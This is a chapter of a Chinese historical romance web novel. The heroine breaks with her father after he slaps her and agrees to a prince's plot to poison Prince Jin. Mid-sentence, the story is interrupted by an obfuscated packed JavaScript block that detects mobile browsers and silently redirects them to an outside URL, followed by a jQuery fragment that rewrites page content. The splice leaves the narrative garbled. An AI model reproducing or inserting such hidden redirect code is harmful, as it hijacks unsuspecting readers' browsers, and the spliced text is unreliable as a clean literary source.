夜色寂暗,书房内却烛火通明、亮如白昼。
晏宁垂眸站在书案前,默默地承受着父亲的苛责。
“我不求你如我一般体恤她怀胎艰难,可你明知她身子有恙,为何还要在人前诋毁中伤?你到底想干什么?你还嫌外头的流言不够多吗?”
“你以为这样就能毁了她是不是?可你有没有想过,你也是晏家的一份子,这样杀敌一千自损八百的蠢事于你又什么好处?”
看着她默不作声,一副游离在外的神态,晏太傅更是气得火冒三丈。
“你就这么笃定晋王一定能赢吗?可就算他赢了,一个没有家族助力的王妃又能笑到几时?你如此六亲不认,就不怕日后会把路走绝吗?”
许是一直得不到她的示弱,晏太傅越说越气,眼底的怒焰几乎要喷薄而出。
“我怎么会有你这样自私浅薄、清高自负的女儿?”
一路上舟车劳顿,大半日苦守焦灼,等来的却只有变本加厉的指责。
她的隐忍被声声怒斥催化,在胸腔内上下翻腾,搅弄出了强烈的愤慨和不甘。
抬眸的一瞬间,她的眼底闪烁着浓烈的怒火。
“是我自私浅薄,还是你行事太过?你扪心自问,这十年来,你可曾为我做过什么?”
无数次的争吵早已将本就薄弱的父女情缘消耗殆尽,而她的忍耐只能换来无尽的斥责。
如果注定要走到决裂,那么她宁愿亲手撕开这虚伪的亲缘。
“孽障,你有什么资格质问我?若没有我,你如何能来到这世上?”
长久以来的对立让晏太傅憋满了怒气,连眼神都透着十足的凶狠。
他甚至按耐不住满腔的怒火,忿忿地拍案而起。
“是,你是给了我生命,所以我再委屈也得唤你一声父亲。但你既然生下我,就该担起为人父的职责。”
“职责?呵!”晏太傅冷笑一声,不忿地怒斥,“你身在晏家,自小锦衣玉食,受到了上京城中最好的教养,这还不够吗?”
“你供我吃穿学艺,不过是见我聪明伶俐,想借我去攀附皇室罢了!所以我一被退婚,你就像变了个人,对我再无半分怜爱!”
扯破父爱的伪装,他们之间便再无亲情可言。
这样的话她在心里想了无数遍,甚至屡次想与自己和解。
可有些伤痕一旦撕开就会鲜血淋漓,再也无法轻松愈合。
“孽障!我将你养大,你就是这么回报我的?”
面对她刻薄的诘问,晏太傅当即恼羞成怒地扬起手掌,毫不留情地挥落了一记响亮的耳光。
啪的一声,晏宁被打得头一偏,白嫩的面颊上瞬间浮起了一道掌印。
这一巴掌打得比以往任何一次都重,重到他才刚收回手,她的脸颊就高高地肿了起来。
从前她尚且会在挨打后流露出不甘和愤怒,可这一回,她却沉默地站着,目光平静得令人心慌。
没有怨恨和憎恶,而是透着一种死寂般的疏离,就好像他们之间的亲缘在一点一点、缓慢地剥离。
看着她眼底的淡漠,晏太傅心底的无力竟渐渐变成了恐慌。
他习惯于掌控一切,可眼前这个曾让他风光无限的女儿却再也不肯听他摆布,甚至想要与他割裂。
这个认知让他出奇地愤怒,以致于他再也掩饰不住眼底的凶狠。
“没有我,没有晏家,你什么都不是。”
迎着他愤恨的目光,晏宁喉咙一滞,近乎决绝地说道:“我宁愿自己什么都不是,也不想有一个你这样的父亲。”
望着她冰冷中带着憎恶的眼神,晏太傅忿忿地攥紧了掌心,强压着怒火说道:“好,好!我倒要看看,你能狂傲到几时!”
说罢,他用力地扫落书桌上的笔墨纸砚,眼中跳动着猛烈的怒火。
“滚!”
一声怒斥下,连守在门外的丫鬟小厮都忍不住缩了缩肩。
看着他盈满怒气的眼眸,晏宁眸光一沉,漠然地转过身去,犹如行走在刀尖荆棘之上,踏着痛苦,忍着血泪,一步一步,走出了书房。
她要离开这里,离开这个被父亲所掌控的天地。
跨出房门的那一刻,守候在外的下人们纷纷投来怜悯的眼神。
可晏宁就像是什么也看不见一样,仍倨傲地挺直腰背,端庄持重地走入了茫茫的夜色之中。
悠长的回廊上挂满了系着红绸的灯笼,每一盏都透着温馨的光芒,也昭示着即将到来的喜庆。
看着她寂寥的背影,清霜什么也没问,只默默地跟在她身后。
回到汀兰院后,青杏和青橘一左一右地迎上前来。可瞥见她肿起的面颊和落寞的眼神后,满腹的担忧就都哽在了喉间。
“县主,您一天没用膳了,先吃几块点心垫垫吧,一会儿我去厨房给您煮碗面来。”
望着青杏手里捧着的那一碟芙蓉糕,晏宁意兴阑珊地摇了摇头。
“不必麻烦了,我吃不下。”
“县主,您要再这么不吃不喝下去,我看也不必闻姨娘出手,您自个儿就先倒下了!如此一来,您先前的所做的那些努力还有什么意义?”
眼看劝诫无果,焦灼之下,青橘只能说出这番近乎悖逆的话。
望着她愤懑焦急的眼神,晏宁眸光一震,空洞的眼底骤然涌出一股鲜活的激流。
偌大的汀兰院里,也只有青橘才敢说出这样僭越却又无比真诚的话。
她幽幽抬眸,连语气都柔了几分:“去煮碗素面吧。”
见她终于肯听劝,青杏当即放下点心,欢喜地跑了出去。
等她捧回热气腾腾的汤面时,青橘正在桌前更换着烛台。
“县主,面已经好了,快趁热吃吧。”
吃面的过程中,谁也没有说话,可所有人的视线都落在了那碗面上。
直到晏宁强撑着将面吃完,她们才不约而同地收回了目光。
放下手中的筷子后,晏宁忽而抬眸看向清霜。
“如今我与父亲彻底决裂,往后他不会再庇护我。你给王爷带句话,就说请他早做打算。”
似是没想到晏宁会提及此事,清霜先是一愣,而后恭谨地抱拳离去。
“是。”
她走远之后,晏宁眸光一敛,神色凝重地叫住了想要上前收拾碗筷的青杏。
“先别忙了,我有话要和你们说。”
青杏眉心一跳,眼底闪过一丝疑惑,却柔顺地低下了头。
“这些时日我重用清霜,你们二人可曾觉得委屈?”
面对她突如其来的询问,二人皆是一怔。
青杏率先回神,便柔声答道:“清霜武艺高强、心思又细,别说您了,我们也都很钦佩她。”
听了她的回答,晏宁的眼底流露出几分赞许,随即侧首看向沉默不语的青橘。
“你呢?”
见她凝眸看向自己,青橘咬了咬唇,半晌都没说话。
几次挨骂,她自然是觉得委屈。可再怎么委屈,也改不了自己被清霜取代的事实。
看出了她的低落,晏宁幽幽叹了口气。
“我知道你心里委屈,可眼下正是用人之际,我不得不倚重她。”
她说的推心置腹,却让青橘愈发沉默。
“可我也知道,无论我有多看重她,她也始终都是晋王的人。所以有些事,只有我真正信任的人才能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754747|184108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去做。”
闻言,青橘心弦一震,诧异地看向她。
“你们是从小跟我一起长大的,也是我唯一能相信的人。”
“县主……”
青橘犹在怔愣之际,青杏已经上前一步,恭敬地屈膝跪了下来。
“奴婢但凭县主吩咐!”
这时青橘才后知后觉地回过神来,着急忙慌地跟着跪下。
“奴婢也任凭县主差遣!”
见状,晏宁旋即将她二人扶起,“你们先起来。”
等她们站定后,才神色郁郁地说起了那日佛堂里的遭遇。
说到最后,她的眼底甚至隐隐闪过泪光。
“他这么逼您,和送您去死有什么区别?”
看着晏宁含泪的眼眸,青橘当即气愤地捏紧了拳头。
见状,青杏扯了扯她的衣袖,不赞同地摇了摇头。
“我若是应下,大婚之前,他们便不会再派人杀我。”
回来的路上,她想了许多,也早就有了决断。
“可那是晋王,是叱咤一方的枭雄,只靠一包秘药,当真能夺了他的命吗?”
哪怕晏宁流露出了几分意动,青橘仍陷入了强烈的怀疑和不安之中。
“县主,您有没有想过,就算您真的杀了晋王,太子也未必能兑现承诺。”
这些日子以来,萧恒的所作所为早已让人看透了他的自私和伪善。
“你说的这些我都想过,可若是不答应他,先死的人就会是我。”
说这话时,她的眼神分外沉静,透着一股令人心惊的执着。
许是震惊于她的决策,青橘和青杏双双陷入了沉默。
许久之后,青杏缓缓抬眸,眼底闪过一丝怜惜。
“县主,您真的想好了吗?”
她了解晏宁,所以知道这样的抉择对她来说是多么艰难。
一旦作出决定,她不仅要背信弃义,还要承受巨大的风险。
可就算明知萧恒不怀好意,她也只能与虎谋皮。
晏宁眸光一凛,望向她的眼神愈发坚定,“我想好了。”
“您想怎么做?”
知道她心中已经有了决断,青杏遂不再多言,只平静地听候差遣。
晏宁并未直接发话,而是先侧首看向青橘,在纵览她的沉默的抗拒后,才叹息着转向青杏。
“你替我去一趟东宫,告诉萧恒,我答应他了。”
听着她沉重的语调,青杏呼吸一紧,心中顿时有些难过。
“去的时候小心些,别被清霜发现。”
知道事关重大,青杏郑重地点了点头:“县主放心,奴婢知道该怎么做。”
夜色越来越深,浓重得让人心头沉闷。
烛光熄灭后,本该就寝的晏宁却又一次陷入了辗转反侧中。
脑海中不断闪现出青橘离去时那一抹难以言说的失望眼神。
她压抑地攥紧拳头,任由指甲陷入掌心,惊起一股尖锐的疼痛。
守在闻姨娘院中的时候,她就知道会有一场腥风血雨。
决裂的场景早已在心中预演过无数遍,所以回来的路上她没有伤心难过,只想尽早地挣脱枷锁。
萧御走时只让她假意妥协,却没说接下来该做些什么。
她心里明白,讳莫如深的背后其实是信任的缺失。
两个原本陌生的人,不可能在一夕之间就达成全然的信任。更何况,在这场同盟中,她本就处于劣势。
她猜不出萧御的心思,却本能地认为,他一定早有对策。
望着窗外浓重的夜色,她再次攥紧了掌心。
不管萧御想做什么,她都只能全力配合。